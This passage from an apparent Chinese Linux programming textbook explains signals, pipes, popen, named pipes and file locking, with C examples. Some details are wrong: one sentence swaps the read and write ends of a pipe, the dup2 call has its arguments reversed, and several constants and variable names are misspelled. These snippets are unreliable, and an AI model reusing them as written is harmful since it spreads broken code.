恢复原有的 SIGALRM 关联 */ signal(SIGALRM,was); return (time_out?((char*) 0):answer); } /* SIGALRM 信号处理函数 */ catch() { /* 设定超时标志 */ time_out=TRUE; /* 响铃警告 */ putchar(BELL); 第四章 进程间通信 - 61 - } 2.系统调用 pause() 系统调用 pause()能使调用进程暂停执行,直至接收到某种信号为止。pause()在 Linux 系统函数库 unistd.h 中的函数声明如下: int pause(void); 该 调 用 没 有 任 何 的 参 数 。 它 的 返 回 始 终 是 -1 , 此 时 errno 被 设 置 为 ERESTARTNOHAND。 下面这个程序为了在规定时间显示一个消息,使用了 alarm 和 pause。对它的调用方法 如下: $tml minutes message-text & 第一个参数为时间数,第二个参数为显示的消息。 #include <stdio.h> #include <signal.h> #define TRUE 1 #define FALSE 0 #define BELLS "\007\007\007" int alarm_flag=FALSE; /* SIGALRM 处理函数 */ setflag() { alarm_flag=TRUE; } main(int argc,char* argv[]) { int nsecs; int i; if (argc<2) { fprintf(stderr,"Usage:tml #minutes message\n"); exit(1); } if ((nsecs=atoi(argv[1])*60)<=0) { fprintf(stderr,"Invalid time\n"); exit(2); } /* 设定 SIGALRM 的关联动作 */ signal(SIGALRM,setflag); - 62 - Linux网络编程 /* 设定定时器 */ alarm(nsecs); /*使用 pause()调用等待信号*/ pause(); if (alarm_flag) { printf(BELLS); for (i=2;i<argc;i++) { printf("%s\n",argv[i]); } } exit(0); } 4.2.6 系统调用 setjmp()和 longjmp() 有时候,当接收到一个信号时,希望能跳回程序中以前的一个位置执行。例如,在有 的程序内,当用户按了中断键,则程序跳回到显示主菜单执行。我们可以用库系统调用 setjmp()和 longjmp()来完成这项工作。setjmp()能保存程序中的当前位置(是通过保存堆栈 环境实现的),longjmp()能把控制转回到被保存的位置。在某种意义上,longjmp()是远程跳 转,而不是局部区域内的跳转。我们必须注意到,由于堆栈已经回到被保存位置这一点, 所以 longjmp()从来不返回。然而,与其对应的 setjmp()是要返回的。 setjmp()和 longjmp()在 setjmp.h 中的定义分别如下: int setjmp(jmp_buf env); void longjmp(jmp_buf env, int val); setjmp()只有一个参数 env,用来保存程序当前位置的堆栈环境。而 longjmp()有两个参 数: 参数 env 是由 setjmp()所保存的堆栈环境。 参数 val 设置 setjmp()的返回值。longjmp()本身是没有返回的,但其执行后跳转到保存 env 参数的 setjmp()调用,并由 setjmp()调用返回,就好像程序刚刚执行完 setjmp()一样,此 时 setjmp()的返回值就是 val。但是要注意的是,longjmp()调用不能使 setjmp()调用返回 0, 如果 val 为 0,则 setjmp()的返回为 1。 下面的例子演示了 setjmp()和 longjmp()的使用: #include <stdio.h> #include <setjmp.h> #include <signal.h> jmp_buf position; main() 第四章 进程间通信 - 63 - { int goback(); … … /* 保存当前的堆栈环境 */ setjmp(position); signal(SIGINT,goback); domenu(); … … } goback() { fprintf(stderr,”\nInterrupted\n”); /* 跳转回被保存的断点 */ longjmp(position,1); } 4.3 管道 简单的说,管道就是将一个程序的输出和另外一个程序的输入连接起来的单向通道。 它是 UNIX/Linux 系统的各种进程通信方法中,最古老而应用最为广泛的一种(特别是在 shell 中)。 #ls -l|more 在上面的例子中我们建立了这样的一个管道:获取 ls -l 的输出,再将其作为 more 命令的 输入。形象的说,就是数据沿着管道从管道的左边流到了管道的右边。 这个例子并不复杂,只要是对 Linux/UNIX 比较熟悉的人都曾经使用过类似的命令。 但是,在简单的命令底下,Linux/UNIX 内核究竟都做了些什么呢? 当进程创建一个管道的时候,系统内核同时为该进程设立了一对文件句柄(一个流), 一个用来从该管道获取数据(read),另一个则用来做向管道的输出(write)。 图 4-1 显示了进程和管道间的相互作用。 从图 4-1 中可以清楚的看出进程和管道是如何通过句柄进行数据交换的。进程通过句 柄 fd[0]向管道写入(write)数据,同时通过 fd[1]从管道读出(read)数据。到这里有人也 许会想起 UNIX 的文件处理。事实上,在 Linux 系统内核里,每个管道都是用一个 inode 节点来表示的。(当然,你是不会看到这个节点的,它只存在于系统的内核中。)理解了这 一点,我们就可以容易的掌握接下来要讲的管道的 I/O 处理了。 不过,到目前为止,我们所建立的管道模型还没有任何的实际意义。因为这个管道只 被用来同单个进程通信。建立一个同自己通信的管道有什么用处呢?为了解决这个问题, - 64 - Linux网络编程 我们在主进程中利用 fork()函数创建一个自身的自进程。大家也许还记得,fork()的子进程 自动继承了父进程打开的文件句柄。利用继承的句柄,就可以实现父/子间的通信了。这个 关系可以用图 4-2 来表示: 图 4-1 进程和管道间的相互作用 图 4-2 fork()函数调用后的管道 第四章 进程间通信 - 65 - 现在,父子两个进程同时拥有对同一个管道的读写句柄。因为管道必须是单向的(因 为它没有提供锁定的保护机制),所以我们必须决定数据的流动方向(从父到子,还是从子 到父?),然后在每个进程中关闭不需要的句柄。假设我们需要管道从子进程向父进程传送 数据,关闭了相应句柄后的管道可以用图 4-3 来表示。 图 4-3 关闭了相应句柄后的管道 这样,一个完整的管道就被建立了。下面我们就可以使用 read()和 write()函数来对它 进行读写操作了。关于这两个函数的具体使用在 UNIX 的文件函数中有介绍,读者可以自 行参阅相应的资料。 4.3.1 用 C 来建立、使用管道 以上我们介绍了管道的概念和它在 Linux 系统中的模型。下面,我们就将开始用 C 来 建立自己的管道。 1.Pipe()函数 在 C 程序中,我们使用系统函数 pipe()来建立管道。它只有一个参数:一个有两个成 员的整型数组,用于存放 pipe()函数新建立的管道句柄。其函数原型如下: 系统调用: pipe(); 函数声明: int pipe( int fd[2] ); 返回值: 0 on success -1 on error: errno = EMFILE (no free descriptors) EMFILE (system file table is full) EFAULT (fd array is not valid) 注意: fd[0] 用来从管道中读, fd[1] 用来向管道中写 - 66 - Linux网络编程 数组中的第一个元素(fd[0])是从管道中读出数据的句柄,第二个元素(fd[1])是向 管道写入数据的句柄。也即是说,fd[1]的写入由 fd[0]读出。 在建立了管道之后,我们使用 fork()函数建立一个子线程: #include <stdio.h> #include <unistd.h> #include <sys/types.h> main() { int fd[2]; pid_t childpid; pipe(fd); if((childpid = fork()) == -1) { perror("fork"); exit(1); } ⋯ ⋯ } 接下来,我们假设需要管道中数据的流动是从子进程到父进程。这样父进程就需要关 闭(close())写管道的句柄(fd[1]),而子进程需要关闭读管道的进程(fd[0])。 注意:因为父子进程同时拥有读写句柄,为了避免不必要的麻烦,我们在程序中务必要记住关闭不 需要的句柄! #include <stdio.h> #include <unistd.h> #include <sys/types.h> main() { int fd[2]; pid_t childpid; pipe(fd); if((childpid = fork()) == -1) { perror(“fork”); exit(1); 第四章 进程间通信 - 67 - } if(childpid == 0) { /* 子进程关闭管道的读句柄 */ close(fd[0]); } else { /* 父进程关闭管道的写句柄 */ close(fd[1]); } . ⋯ ⋯ ⋯ ⋯ } 管道建立之后,我们就可以像操作普通文件一样对其进行操作: #include <stdio.h> #include <unistd.h> #include <sys/types.h> int main(void) { int fd[2], nbytes; pid_t childpid; char string[] = “Hello, world!\n”; char readbuffer[80]; pipe(fd); if((childpid = fork()) == -1) { perror(“fork”); exit(1); } if(childpid == 0) { /* 子进程关闭管道的读句柄 */ close(fd[0]); /* 通过写句柄向管道写入信息 */ write(fd[1], string, strlen(string)); _exit(0); } - 68 - Linux网络编程 else { /* 父进程关闭管道的写句柄 */ close(fd[1]); /* 通过读句柄从管道读出信息 */ nbytes = read(fd[0], readbuffer, sizeof(readbuffer)); printf(“Received string: %s”, readbuffer); } return(0); } 2.使用 dup()函数 有时候我们需要将子进程当中的管道的句柄定向到标准 I/O(stdin/stdout)上去。这样, 在子进程中使用 exec()函数调用外部程序时,这个外部程序就会将管道作为它的输入/输出。 这个过程可以用系统函数 dup()来实现。其函数原型如下: 系统调用: dup(); 函数声明: int dup( int oldfd ); 返回值: new descriptor on success -1 on error: errno = EBADF (oldfd is not a valid descriptor) EBADF (newfd is out of range) EMFILE (too many descriptors for the process) 注意: 旧句柄没有被关闭,新旧两个句柄可以互换使用 虽然原句柄和新句柄是可以互换使用的,但为了避免混淆,我们通常会将原句柄关闭 (close)。同时要注意,在 dup()函数中我们无法指定重定向的新句柄,系统将自动使用未 被使用的最小的文件句柄(记住,句柄是一个整型量)作为重定向的新句柄。请看下面的 例子: ⋯ ⋯ ⋯ ⋯ pipe(fd); childpid = fork(); if(childpid == 0) { /* 关闭子进程的文件句柄 0(stdin) */ close(0); /* 将管道的读句柄定义到 stdin */ dup(fd[0]); execlp(“sort”, “sort”, NULL); ⋯ ⋯ } 在上例中巧妙的利用了 dup()函数的特性。因为文件句柄 0(stdin)被关闭了,对 dup 函数的调用就将管道读句柄 fd[0]定向到了 stdin(因为句柄 0 是最小的未用句柄)。然后我 们调用 execlp 函数,用外部过程 sort 覆盖了子进程的代码。因为它继承了子进程的基本输 第四章 进程间通信 - 69 - 入/输出,所以它就将管道作为了它的输入。现在,我们在父进程里向管道写入的任何数据 都将自动被 sort 接受进行排序⋯ ⋯ 3.使用 dup2()函数 在 Linux 系统中还有一个系统函数 dup2()。单从函数名上我们也可以判断出它和 dup() 函数的渊源。下面是它的原型: 系统调用: dup2(); 函数声明: int dup2( int oldfd, int newfd ); 返回值: new descriptor on success -1 on error: errno = EBADF (oldfd is not a valid descriptor) EBADF (newfd is out of range) EMFILE(too many descriptors for the process) 注意: 旧句柄将被 dup2()自动关闭 显然,原来的 close 以及 dup 这一套调用现在全部由 dup2()来完成。这样不仅简便了程 序,更重要的是,它保证了操作的独立性和完整性,不会被外来的信号所中断。在原来的 dup()调用中,我们必须先调用 close()函数。假设此时恰好一个信号使接下来的 dup()调用不 能立即执行,这就会引发错误(进程没有了 stdin)。使用 dup2()就不会有这样的危险。下 面的例子演示了 dup2()函数的使用: ⋯ ⋯ pipe(fd); . childpid = fork(); if(childpid == 0) { /* 将管道的读入端定向到 stdin */ dup2(0, fd[0]); execlp("sort", "sort", NULL); ⋯ ⋯ } 4.使用 popen()/pclose()函数 看了 dup2()函数,一定有人会想,既然能把 close 和 dup 合成一个函数,那么有没有把 fork、exec 和 dup()结合的函数呢?答案是肯定的。它就是 linux 的系统函数 popen(): 库函数: popen(); 函数声明: FILE *popen ( char *command, char *type); 返回值: new file stream on success NULL on unsuccessful fork() or pipe() call NOTES: creates a pipe, and performs fork/exec operations using "command" popen()函数首先调用 pipe()函数建立一个管道,然后它用 fork()函数建立一个子进程, 运行一个 shell 环境,然后在这个 shell 环境中运行"command"参数指定的程序。数据在管道 中流向由"type"参数控制。这个参数可以是"r"或者"w",分别代表读和写。需要注意的是, "r"和"w"两个参数不能同时使用!在 Linux 系统中,popen 函数将只使用"type"参数中第一 个字符,也就是说,使用"rw"和"r"作为"type"参数的效果是一样的,管道将只打开成读状态。 使用 popen 打开的管道必须用 pclose()函数来关闭。还记得 fopen 和 fclose 的配对使用 吗?这里再次显示了管道和文件的相似性。 库函数: pclose(); 函数声明: int pclose( FILE *stream ); - 70 - Linux网络编程 返回值: exit status of wait4() call -1 if "stream" is not valid, or if wait4() fails NOTES: waits on the pipe process to terminate, then closes the stream. 下面是一个使用 popen/pclose 的例子: #include <stdio.h> #define MAXSTRS 5 int main(void) { int cntr; FILE *pipe_fp; char *strings[MAXSTRS] = { "roy", "zixia", "gouki","supper", "mmwan"}; /* 用 popen 建立管道 */ if (( pipe_fp = popen("sort", "w")) == NULL) { perror("popen"); exit(1); } /* Processing loop */ for(cntr=0; cntr<MAXSTRS; cntr++) { fputs(strings[cntr], pipe_fp); fputc('\n', pipe_fp); } /* 关闭管道 */ pclose(pipe_fp); return(0); } 使用 popen()函数除了节省源代码之外,它还有一个优点:你可以在"command"中使用 任意合法的 shell 指令,包括重定向和管道!下面的几个例子都是合法的 popen 调用: popen("ls ~roy", "r"); popen("sort > /tmp/zixia", "w"); popen("sort | uniq | more", "w"); 下面是一个稍微复杂一点的例子,在里面建立了两个管道: #include <stdio.h> int main(void) { FILE *pipein_fp, *pipeout_fp; char readbuf[80]; 第四章 进程间通信 - 71 - /* 用 popen 建立一个通向"ls:的读管道 */ if (( pipein_fp = popen("ls", "r")) == NULL) { perror("popen"); exit(1); } /* 用 popen 建立一个通向"sort"的写管道 */ if (( pipeout_fp = popen("sort", "w")) == NULL) { perror("popen"); exit(1); } /* 进程循环 */ while(fgets(readbuf, 80, pipein_fp)) fputs(readbuf, pipeout_fp); /* 关闭打开的管道 */ pclose(pipein_fp); pclose(pipeout_fp); return(0); } 最后,为了更好的理解管道,我们给出一个 popen()和 fopen()混合使用的例子,请读者 与上例对照,自行分析管道与文件处理的异同: #include <stdio.h> int main(int argc, char *argv[]) { FILE *pipe_fp, *infile; char readbuf[80]; if( argc != 3) { fprintf(stderr, "USAGE: popen3 [command] [filename]\n"); exit(1); } /* 打开输入文件 */ if (( infile = fopen(argv[2], "rt")) == NULL) { perror("fopen"); exit(1); } - 72 - Linux网络编程 /* 建立写管道 */ if (( pipe_fp = popen(argv[1], "w")) == NULL) { perror("popen"); exit(1); } /* Processing loop */ do fgets(readbuf, 80, infile); if(feof(infile)) break; fputs(readbuf, pipe_fp); } while(!feof(infile)); fclose(infile); pclose(pipe_fp); return(0); } 4.3.2 需要注意的问题 以下是一些在管道的使用中需要注意的问题: 1. pipe()的调用必须在 fork()之前; 2.及时关闭不需要的管道句柄; 3.使用 dup()之前确定定向的目标是最小的文件句柄; 4.管道只能实现父子进程间的通信,如果两个进程之间没有 fork()关系,就必须考虑 其他的进程通信方法。 4.4 有名管道 为了解决管道不能提供非父/子关系进程间通信的缺陷,在管道的基础上发展了有名管 道(FIFOs)的概念。我们知道,尽管管道在 Linux 系统内部是以文件节点(inode)的形 式存在的,但是由于其对外的不可见性(“ 无名” 性),我们无法创建新的句柄对其进行访 问。而有名管道在 Linux 系统中以一种特殊的设备文件的形式存在于文件系统中。这样它 不仅具有了管道的通信功能,也具有了普通文件的优点(可以同时被多个进程共享,可以 长期存在等等),有效的解决了管道通信的缺点。 4.4.1 有名管道的创建 因为有名管道是存在于文件系统中的文件节点,所以我们可以用建立文件节点的方式 第四章 进程间通信 - 73 - 来建立有名管道。在 shell 中我们可以用下面的命令: #mknod sampleFIFO p #mkfifo – m 0666 sampleFIFO 以上的两个命令是等价的,它们都会在当前的文件系统中建立一个名字为 samlpeFIFO 的有名管道。不过,在细节上他们还是有差别的。mkfifo 命令可以用“ -m” 选项指定所建 立的有名管道的存取权限,而 mknod 则需要之后使用 chmod 来改变有名管道的存取权限。 通过文件列表信息中的 p 指示符我们可以迅速的辨认出有名管道。例如: #ls -l prw-r--r-- 1 root root 0 May 14 16:25 sampleFIFO| 在 C 中我们通过系统函数 mknod 来建立有名管道: 库函数: mknod(); 函数声明: int mknod( char *pathname, mode_t mode, dev_t dev); 返回值: 0 on success, -1 on error: errno = EFAULT (pathname invalid) EACCES (permission denied) ENAMETOOLONG (pathname too long) ENOENT (invalid pathname) ENOTDIR (invalid pathname) (see man page for mknod for others) NOTES: Creates a filesystem node (file, device file, or FIFO) 下面是个简单的例子: mknod(“/tmp/sampleFIFO”,s_IFIFO|0666,0) 这条语句在文件系统中建立了一个名为”/tmp/sampleFIFO”的有名管道,其读写权限是 0666(当然,最终的权限还和你的 umask 值有关)。mknod 的第三个参数在创建有名管道 时被忽略,一般都填零。 4.4.2 有名管道的 I/O 使用 有名管道和管道的操作是相同的,只是要注意,在引用已经存在的有名管道时,首先 要用系统中的文件函数来打开它,才能接下来进行其他的操作。例如,我们可以用操作文 件流的 fopen()和 fclose()来打开一个有名管道。下面是一个 server 方的例子: /* fifoserver.c */ #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #include <linux/stat.h> #define FIFO_FILE "sampleFIFO" int main(void) { FILE *fp; char readbuf[80]; /* Create the FIFO if it does not exist */ - 74 - Linux网络编程 umask(0); /*在文件系统中创建有名管道*/ mknod(FIFO_FILE, S_IFIFO|0666, 0); while(1) { /*打开有名管道*/ fp = fopen(FIFO_FILE, "r"); /*从有名管道中读取数据*/ fgets(readbuf, 80, fp); printf("Received string: %s\n", readbuf); /*关闭有名管道*/ fclose(fp); } return(0); } 因为有名管道自动支持进程阻塞,所以我们可以让这个 server 在后台运行: #fifoserver & 然后运行下面的 client 程序: #include <stdio.h> #include <stdlib.h> #define FIFO_FILE "sampleFIFO" int main(int argc, char *argv[]) { FILE *fp; if ( argc != 2 ) { printf("USAGE: fifoclient [string]\n"); exit(1); } /*打开有名管道*/ if((fp = fopen(FIFO_FILE, "w")) == NULL) { perror("fopen"); exit(1); } /*向有名管道中写入数据*/ fputs(argv[1], fp); /*关闭有名管道*/ 第四章 进程间通信 - 75 - fclose(fp); return(0); } 由于有名管道的自动阻塞特性,当上面的 server 打开一个有名管道准备读入时,server 进程就会被阻塞以等待其他进程(在这里是我们的 client 进程)在有名管道中写入数据。 反之亦然。不过,如果需要,我们也可以在打开一个有名管道时使用 O_NONBLOCK 标志 来关闭它的自动阻塞特性。 4.4.3 未提到的关于有名管道的一些注意 首先,有名管道必须同时有读/写两个进程端。如果一个进程试图向一个没有读入端进 程的有名管道写入数据,一个 SIGPIPE 信号就会产生。这在涉及多个进程的有名管道通信 中是很有用的。 其次,关于管道操作的独立性。一个“ 独立” 的操作意味着,这个操作不会因为任何 原因而被中断。比如,在 POSIX 标准中,头文件/usr/include/posix1_lim.h 中定义了在一次 独立的管道读/写操作中最大传输的数据量(buffer size): #define _POSIX_PIPE_BUF 512 也即是说,在一次独立的管道读/写操作中最多只能传送 512 个字节的数据,当数据量 超过这个上限时操作就只能被分成多次独立的读/写操作。在 Linux 系统中,头文件 “linux/limits.h”中定义了类似的限制: #define PIPE_BUF 4096 可以看出,和 POSIX 标准比,上限被大大增加了。这在涉及多进程的有名管道操作中 是非常重要的。如果在某个进程的一次写操作中传输的数据量超过了独立读/写操作的数据 量上限,这个操作就有可能被别的进程的写操作打断。也就是说,别的进程把数据插入了 该进程写入管道的数据序列中从而造成混乱。这是在有名管道应用中需要特别注意的。 4.5 文件和记录锁定 共享资源的保护问题是多进程操作系统中一个非常重要的问题。在这一节中,我们将 会讲述一些保护文件这种使用频率最高的共享资源的方法。在正式开始之前,让我们先来 看一个例子。 4.5.1 实例程序及其说明 #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #define SEQFILE "./sequo" #define MAXBUF 100 - 76 - Linux网络编程 main() { int fd,i,n,pid,seqno; char buff[MAXBUF+1]; pid=getpid(); if ((fd=open("data",O_RDWR|O_CREAT) )<0) { perror("Can't open"); exit(1); } for(i=0;i<5;i++) { my_lock(fd); lseek(fd,01,0); if ((n=read(fd,buff,MAXBUF))<=0) { perror("read error"); exit(1); } buff[n]=0; if (!(n=sscanf(buff,"%d\n",&seqno))) { perror("sscanf error"); exit(1); } printf("pid=%d,seq#=%d\n",pid,seqno); seqno++; sprintf(buff,"%03d\n",seqno); n=strlen(buff); lseek(fd,01,0); if( write(fd,buff,n)!=n) { perror("write error"); exit(1); } my_unlock(); } close(fd); } my_lock(int fd) { 第四章 进程间通信 - 77 - return; } my_unlock(int fd) { return; } 在上面实例程序中文件锁定和文件解锁并不执行任何上锁和解锁操作,因此该程序的 工作将简化为打开序号文件,把序号文件中的序号加 1 后写回源文件,以及关闭序号文件 等。 如果我们把序号文件”seqno”的内容初始化为 1,并且运行一次该程序,我们将得到如 下结果: pid=5657,seq#=1 pid=5657,seq#=2 pid=5657,seq#=3 pid=5657,seq#=4 pid=5657,seq#=5 如果把序号文件再一次初始化为 1 并且用如下命令运行两次该程序:a.out&a.out &, 我们会见到这样的结果: pid=5708,seq#=1 pid=5709,seq#=1 pid=5709,seq#=2 pid=5709,seq#=3 pid=5709,seq#=4 pid=5709,seq#=5 pid=5708,seq#=2 pid=5708,seq#=3 pid=5708,seq#=4 pid=5708,seq#=5 分析上面第二个运行结果,我们不难看出:序号文件“ seqno” 是该程序所产生的两个 进程同时要求访问的共享资源。第一个进程读入序号文件输出 1,并准备增值后写回原文 件时,第二个进程开始被系统操作调度,它读入“ seqno” 文件,然后把序号一直修改到 5 后退出,直到此时,第一个进程才重新获得 CPU,它把增值后的 2 写回原文件,继续以下 操作,依次输出(这里需要说明的是,为了节省篇幅,我们在程序中只作了 5 次循环。在 此程序实际运行中,由于 5 次循环占用时间太短,所以一般不会发生文中叙述的两个进程 的变换。读者在试验此程序时,可以将循环次数加大,如 500 次,就可以观察到文中所叙 述的现象了)。 第二个结果并不是我们所期望的输出,究其原因,主要是由于在共享资源的访问中没 有健全互斥性措施,从而引起了访问和操作的混乱。因此我们要求进程在对共享资源访问 前必须进行锁定以避免其它进程对它的操作,当然在该进程访问完共享资源后也要进行解 锁操作,以使其它进程能有机会占用共享资源。文件和记录锁定就是 Linux 操作系统为共 享资源提供的互斥性保障。 - 78 - Linux网络编程 4.5.2 锁定中的几个概念 文件锁定的是整个文件,而记录锁定只锁定文件的某一特定部分。UNIX 的记录指的 是从文件的某一相对位置开始的一段连续的字节流,它不同于其它以强制性记录结构阻止 文件的操作系统,因此,UNIX 记录锁更恰当的称呼应该是范围锁,它是对文件某个范围 的锁定。 文件和记录锁定可分为咨询式锁定和强制锁定两种。当正在运行的某一进程对它将要 访问的某一文件进行了咨询式锁定后,其它想要访问该文件的进程将被操作系统告知共享 文件已经上了锁,但这并不阻止它们对锁定文件的操作。只要有对锁定文件的存取权,这 些进程便可忽视咨询式锁定而去写赏了锁的文件。强制锁定的含义则要严格多了,当某一 共享文件被强制后,操作系统将会对每个读写文件的请求进行核查,只有在确证该请求不 会干扰上了锁的文件时,才允许对应的操作。System V 和 BSD 都提供了咨询式锁定方式。 这两种锁定方式都被 Linux 支持。 4.5.3 System V 的咨询锁定 System V 的锁函数 lockf()具有如下的形式: #include <unistd.h> int lockf(int fd, int function, long size); 参数 fd 是在文件打开操作中获得的文件描述符; 参数 function 可以取如下的参数值: F_ULOCK 为一个先前锁定的区域解锁 F_LOCK 锁定一个区域 F_TLOCK 测试并锁定一个区域 F_TEST 测试一个区域是否已经上锁。 参数 size 指明了从文件当前位置开始的一段连续锁定区域的长度,当 size 为 0 时,锁 定记录将由当前位置一直扩展到文件尾。 函数 lockf()既可以用来上锁有可以用来测试是否已经赏了锁。如果 lockf 的参数function 为 F_LOCK 指定文件的对应区域已被其它进程锁定,那么 lockf 的调用进程将被阻塞直到 该区域解锁。上述情况我们称为阻塞。如果在调用 lockf()时把参数设为 F_TLOVK,那么 当被测试的区域上了锁时,lockf 便会立即返回-1,出错返回码 errno 将为 EAGAIN,它是一 个非阻塞调用。 if(!lockf(fd,F_TEST,size)) { rc==lockf(fd,F_LOCK,size); … … } 上面这段代码看上去好像是非阻塞调用,但是如果当运行此代码段的进程在测试到对 应文件没有被锁定时,又有另一个进程被操作系统调度占有 CPD,它将同样测试出文件未 被锁定,然后对共享文件上锁。当后继进程在对锁文件操作时,再一次被操作系统调度的 第一个进程,其锁定文件的操作将仍然是一个阻塞性调用。因此为了实现非阻塞调用,我 第四章 进程间通信 - 79 - 们必须使用 F_TLOCK 参数的 lockf()调用。 有个锁函数 lockf()之后,我们便可以完善前面的上锁 my_lock()和解锁 my_unlock()函 数,防止共享文件访问中的混乱情况。下面的上锁函数采用的是阻塞调用。 #include <unistd.h> my_lock(int fd) { /* 将文件指针移回文件头 */ lseek(fd,0L,0); /* 锁定整个文件 */ if (lockf(fd,F_LOCK,0L)==-1) { perror("can't F_LOCK"); exit(1); } } my_unlock(int fd) { lseek(fd,0L,0); if(lockf(fd,F_ULOCK,0L)==-1) { perror("can't F_UNLOCK"); exit(1); } } 4.5.4 BSD 的咨询式锁定 4.3 BSD UNIX 操作系统提供了如下形式的调用来锁定和解锁一个文件: #include <sys/file.h> int flock(int fd, int operation); 调用 flock 有两个参数: 参数 fd 是一个已打开文件的文件描述符; 参数 operation 可设定为下述各值: LOCK_SH 共享锁 LOCK_EX 互斥锁 LOCK_UN 解锁 LOCK_NB 当文件已被锁定时不阻塞 4.3BSD UNIX 使用 flock()来请求对指定文件的咨询式锁定和解锁。4.3BSD 的咨询锁 有共享锁和互斥锁两种。在任一给定时刻,多个进程可以用于属于同一文件的共享锁,但 是某共享文件不能同时具有多个互斥锁或存在共享锁和互斥锁共存的情况。如果锁定成功, flock 将返回零,否则返回-1。 - 80 - Linux网络编程 flock()允许的锁操作有下列几种: LOCK_SH 阻塞性共享锁 LOCK_EX 阻塞性互斥锁 LOCK_SH | LOCK_NB 非阻塞性共享锁 LOCK_EX | LOCK_NB 非阻塞性互斥锁 LOCK_UN 解锁 当 flock()采用非阻塞锁定操作时,对已锁定文件的锁定将使该调用失败返回,其出错 码为 EWOULDBLOCK。 下面,我们将使用 BSD 的文件机制,构造 4.5.1 节中缺省的上锁和解锁函数。其中上 锁函数采取的是互斥锁。 #include <sys/file.h> my_flock(int fd) { if (flock(fd,LOCK_EX))==-1) { perror(“can LOCK_EX”); exit(1); } } my_unload(fd) { if (flock(fd,LOCK_UN)==-1) { perror(“can’t LOCK_UN”); exit(1); } } 有了这个上锁函数和 my_lock()和解锁函数 my_unlock()之后,让我们再回过头来看看 前面的 a.out&命令的运行结果: pid=5894,seq#=1 pid=5894,seq#=2 pid=5894,seq#=3 pid=5894,seq#=4 pid=5894,seq#=5 pid=5895,seq#=6 pid=5895,seq#=7 pid=5895,seq#=8 pid=5895,seq#=9 pid=5895,seq#=10 该结果完全体现了对共享序号文件“ seqno”的理想共享操作。 第四章 进程间通信 - 81 - 4.5.5 前面两种锁定方式的比较 由于 Linux 支持上面的两种锁定方式,所以可以根据不同的实际情况选用不同的锁定 方式。以上的两种锁定方式有以下的不同: 1.System V的锁定方式是记录锁定,可以指定锁定的范围。而 BSD 的锁定方式是文 件锁定,只能指定锁定文件。 2.System V 的锁定是每个进程所独有的,可以用于父子进程间的共享锁定。而 BSD 的锁定方式是可以继承的,父子进程间使用的是同一锁定的,所以不能用于父子进程间的 文件共享锁定。 4.5.6 Linux 的其它上锁技术 创建和使用一个辅助文件以表示进程对共享文件的锁操作是 Linux 其它上锁技术的基 本点。如果辅助文件存在,资源便被其它进程锁定了,否则,进程就可以创建辅助文件以 对资源上锁。 创建辅助文件的一个比较直观的想法是先测试一下辅助文件是否已经存在,若不存在 便创建之: if((fd=open(file,0))<0) fd=creat(file,0644); ..... 然而由于上述方法采用了两个独立的系统调用。在这两个调用之间,其它进程也有可 能被调度占用 CPU,测试和创建相同的文件。当先前被打断的进程再依次运行后,它所发 出的 creat 调用即使文件已经存在也不会出错。 为了正确使用辅助文件,实现文件的锁操作,我们采用的第一个技巧用到这样一个事 实:如果文件的新链接名已经存在,系统调用 link()便会出错,在全程变量 errno 中返回 EEXIST。link()调用的形式如下: #include <unistd.h> int link(char* existingpath, char* newpath); 两个参数分别是原文件所在的路径和新建链接的路径。 我们的技巧是创建一独特临时文件,它的名字由进程号得来。一旦创建了该文件,我 们便用辅助锁文件名形成到该临时文件的另一个链接。如果链接成功,进程便把文件锁定 了。这时有两个路径指向锁定文件(基于进程号的临时文件和锁文件)。然后我们用 unlink() 系统调用,把临时文件删除,只剩下一个指向该文件的链接。当需要解除锁定时,我们就 用 unlink()删除解除对该文件的链接。 #include <sys/errno.h> #define LOCKFILE "seqno.lock" extern int errno; - 82 - Linux网络编程 my_lock(int fd) { int temfd; char tempfile[30]; sprintf(tempfile,"LCK%d",getpid()); /* 建立一个临时文件,然后关闭之 */ if ((temfd=creat(tempfile,0444))<0) { perror("can't creat temp file"); exit(1); } close(temfd); /* 现在试图用辅助锁文件名建立对 */ /* 临时文件的链接。这可以测试锁 */ /* 锁文件是否已经存在 */ while (link(tempfile,LOCKFILE)<0) { if(errno!=EEXIST) { perror("link error"); exit(1); } sleep(1); } if(unlink(tempfile)<0) { perror("unlink error"); exit(1); } } my_unlock(int fd) { if (unlink(LOCKFILE)<0) { perror("unlink error"); exit(1); } } 第二个技巧要用到这样一个事实,如果文件已经存在且不允许写,那么对该文件调用 creat()便会错误返回,errno 置为 EACCES。我们解决的办法是创建一所有写许可都被禁止 的临时锁文件。如果调用 creat()成功,调用进程便知道它给该文件上锁了,它便可以安全 修改序号文件。解锁操作便是把临时锁文件移开。调用者没有必要对未链接的文件有读或 第四章 进程间通信 - 83 - 写的权限。该技术有个疏漏之处,就是如果进程有超级用户特权,就不会被错误返回。这 是因为超级用户可以写任何文件。 #include <sys/errno.h> #define LOCKFILE "seqno.lock" #define TEMPLOCK "temp.lock" my_lock(int fd) { int tempfd; /* 试图创建一个全部写权限都被关闭的 */ /* 临时文件。如果该文件已经存在,则 */ /* creat()调用失败 */ while ((tempfd=creat(TEMPLOCK,0))<0) { if(errno!=EACCES) { perror("creat error"); exit(1); } sleep(1); } close(temfd); } my_unlock(int fd) { if(unlink(TEMPLOCK)<0) { perror("unlink error"); exit(1); } } 第三个即使是使用 Linux 所提供的 open()调用的可选项。头文件 fcntl.h 中定义了系统 调用 open()的可选项。如果选项中既设置了 O_CREAT 又设置了 O_EXCL 的话,如果文件 已经存在,open()调用便会失败,否则话便创建该文件。 #include <fcntl.h> #include <sys/errno.h> #define LOCKFILE "sqgno.lock" #define PERMS 0666 extern int errno; - 84 - Linux网络编程 my_lock(int fd) { int tempfd; while((tempfd=open(LOCKFILE,O_RDWR|O_CREAT|O_EXCL,PERMS))<0) { if (errno!=EXIST) { perror("open error"); exit(1); } sleep(1); } close(tempfd); } my_unlock(fd) { if(unlink(LOCKFILE)<0) { perror("unlink error"); exit(1); } } 对于以上三个技术要注意如下几点: 1.这些技术比实际的文件锁定系统调用要花更长的时间。这是因为要用到多个系统调 用以及多个文件系统操作。 2.除了包含共享资源的文件外,还要用到一个辅助锁文件。在第一个例子中,我们既 需要序号文件又需要辅助锁文件。 3.系统崩溃后辅助文件会存在,需要设计相应的方法处理之。 4.系统调用 link 不能为不同逻辑文件系统上的文件建立链接,因此临时文件一般不放 在/tmp 文件系统中。 